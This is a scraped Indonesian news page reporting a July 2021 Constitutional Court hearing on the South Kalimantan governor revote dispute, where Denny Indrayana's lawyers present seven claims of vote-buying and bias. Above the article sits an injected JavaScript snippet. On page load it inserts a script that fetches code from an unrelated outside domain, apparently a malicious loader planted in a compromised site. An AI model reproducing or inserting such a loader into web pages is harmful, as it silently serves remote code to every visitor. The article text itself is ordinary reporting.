(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pilgub Kalsel

Sidang Pendahuluan PSU Pilgub Kalsel di MK, Tim Hukum Denny Ajukan 7 Dalil dan 610 Bukti


KANALKALIMANTAN.COM, JAKARTA – Mahkamah Konstitusi (MK) menggelar sidang pemeriksaan pendahuluan sengketa hasil Pilgub Kalsel pasca Pemungutan Suara Ulang (PSU) yang diajukan Paslon Denny Indrayana- Difriadi (H2D) pada Rabu (21/7/2021).

Pada sidang perkara nomor 24/PHP.GUB-XIX/2021 ini, Dr. Bambang Widjojanto (BW) mengawali permohonannya dengan menekankan wewenang MK mengesampingkan syarat ambang batas permohonan sengketa hasil pemilihan sebagaimana diatur Pasal 158 UU Pilkada.

Dalam rilis yang disampaikan ke Kanalkalimantan.com, BW yang didampingi Dr Heru Widodo, serta kuasa hukum lainnya secara online mengungkapkan, ada 7 dalil permohonan disertai 610 alat bukti, yang menjadi dasar mengapa MK perlu mengesampingkan ambang batas dan memeriksa pokok permohonan sebagaimana 16 sengketa Pilkada lainnya.

610 alat bukti itu di antaranya berupa kesaksian, termasuk dari tim Paslon 1, handphone, video, rekaman suara, serta dokumen yang menggambarkan peristiwa pelanggaran dan kecurangan selama PSU Pilgub Kalsel.

 

 

“Tujuh dalil pelanggaran dan kecurangan PSU yang kami hadirkan kepada majelis hakim konstitusi ini bukanlah by accident, tetapi by design. Penyebabnya, peristiwa kecurangannya tidak hanya berulang sejak pemilihan 9 Desember 2020, tetapi sebarannya juga merata di seluruh wilayah PSU,” ujar BW, kuasa hukum H2D yang juga mantan Wakil Ketua KPK Periode 2011-2015 ini.

Baca : PPKM Darurat Diperpanjang, Bandara Syamsudin Noor Batasi Penumpang

Anehnya, Bawaslu mengatakan tidak ada kecurangan, tidak ada politik uang. Lebih aneh lagi, Bawaslu menyatakan untuk memenuhi syarat masif, pelanggaran politik uang harus terjadi di minimal 50% dari total 13 Kabupaten/Kota di Kalsel. Padahal wilayah PSU hanya terjadi di 3 kabupaten/kota. Syarat Bawaslu itu tentu saja tidak logis dan tidak rasional.

BW menegaskan, 7 dalil pelanggaran dan kecurangan PSU tersebut di antaranya meliputi politik uang TSM Paslon 1 di seluruh kecamatan PSU, menggunakan birokrasi dan aparat desa sebagai tim sukses, hingga keberpihakan KPU Kalsel kepada petahana.
“Modus kecurangan dan pelanggaran ini dilakukan begitu rapi di seluruh kecamatan PSU. Mereka bahkan terlibat dari mulai tahap perencanaan hingga eksekusi,” ujar mantan Ketua YLBHI ini.

Baca : Ruang IGD RSD Idaman Banjarbaru Dikabarkan Penuh  

Tim hukum bahkan menengarai ada oknum RT yang menjadi tim sukses Paslon 1 juga menjadi KPPS yang bertugas sebagai penyelenggara pemilihan baik pada pemilihan 9 Desember 2020 ataupun PSU 9 Juni 2021.

“Itu artinya, terjadi kecurangan dan pelanggaran yang sangat serius, karena KPPS yang merupakan kepanjangan tangan KPU, justru berkhianat dengan menjadi bagian dari pelaku kejahatan pemilu. Maka, dalam petitum permohonan kami tidak meminta putusan PSU, tetapi meminta kepada Mahkamah agar menjatuhkan putusan pembatalan sebagai Paslon 1 atau penihilan suara Paslon 1,” tutup mantan Pimpinan KPK yang juga pendiri Indonesia Corruption Watch dan Kontras ini. (kanalkalimantan.com/ril)

Reporter : rls
Editor : kk


Al Ghifari

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

13 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

15 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

18 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

19 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

20 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

21 jam ago

This website uses cookies.